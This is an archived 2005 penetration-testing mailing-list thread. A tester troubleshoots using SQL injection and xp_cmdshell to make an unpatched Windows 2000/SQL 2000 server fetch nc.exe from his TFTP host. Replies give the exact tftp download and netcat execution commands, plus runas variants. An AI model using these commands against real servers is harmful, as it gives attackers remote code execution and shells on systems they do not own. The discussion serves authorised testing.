No luck.
Tried in every folder I could imagine.
Besides I am able to create a file through "xp_cmdshell 'echo a > c:\a.txt'
" so I have write permissions in C.
I think the problem is the tftp client. Does anyone know if MS has fixed it
in anyway not to allow downloads from low-privileged users?? or something
like that??
Thanks, Andy.
From: Frederic Charpentier <fcharpen@xmcopartners.com>
To: Jose Selvi <jselvi@s2grupo.com>
CC: Andres Molinetti <andymolinetti@hotmail.com>,
pen-test@securityfocus.com
Subject: Re: TFTP and XP_CMDSHELL - Weird
Date: Thu, 23 Jun 2005 15:48:27 +0200
HI jose,
try like that
xp_cmdshell 'tftp -i yourHost GET nc.exe'
xp_cmdshell 'nc.exe'
and you will work in the current directory (c:\windows\system32).
Jose Selvi wrote:
Maybe sqlsvc user can't write in c:\ folder. Can He?.
The first call to tftp you are using Administrator user, who of course can
write in c:\ .
Try "runas /user:sqlsvc tftp -i myHost GET nc.exe c:\winnt\temp\nc.exe".
It must work.
Andres Molinetti escribis:
Hi, I am testing a Web App vulnerable to SQL Injection.
It is hosted in a Windows 2000 SP4 and SQL 2000 with no patches.
While trying to use the xp_cmdshell to upload nc.exe from my tftpd server
to the Webserver, I experienced some problems.
I was able to execute xp_cmdshell 'echo a > c:\a.txt' . File is created.
As administrator (using a windows cmd.exe shell) I ran "tftp -i myHost
GET nc.exe c:\nc.exe". File is downloaded.
When I tried it through the wep app it failed. I tried directly through
SQL Query Analizer and it also failed.
SQL is running as a low priviledged account (sqlsvc)...
Then I ran (as Administrator) "runas /user:sqlsvc tftp -i myHost GET
nc.exe c:\nc.exe" and IT FAILED.!!
I can easily deduce that the problem is the TFTP client (tftp.exe)...
Any Ideas?
--
Frederic Charpentier - Xmco Partners
Security Consulting / Pentest
web : http://www.xmcopartners.com
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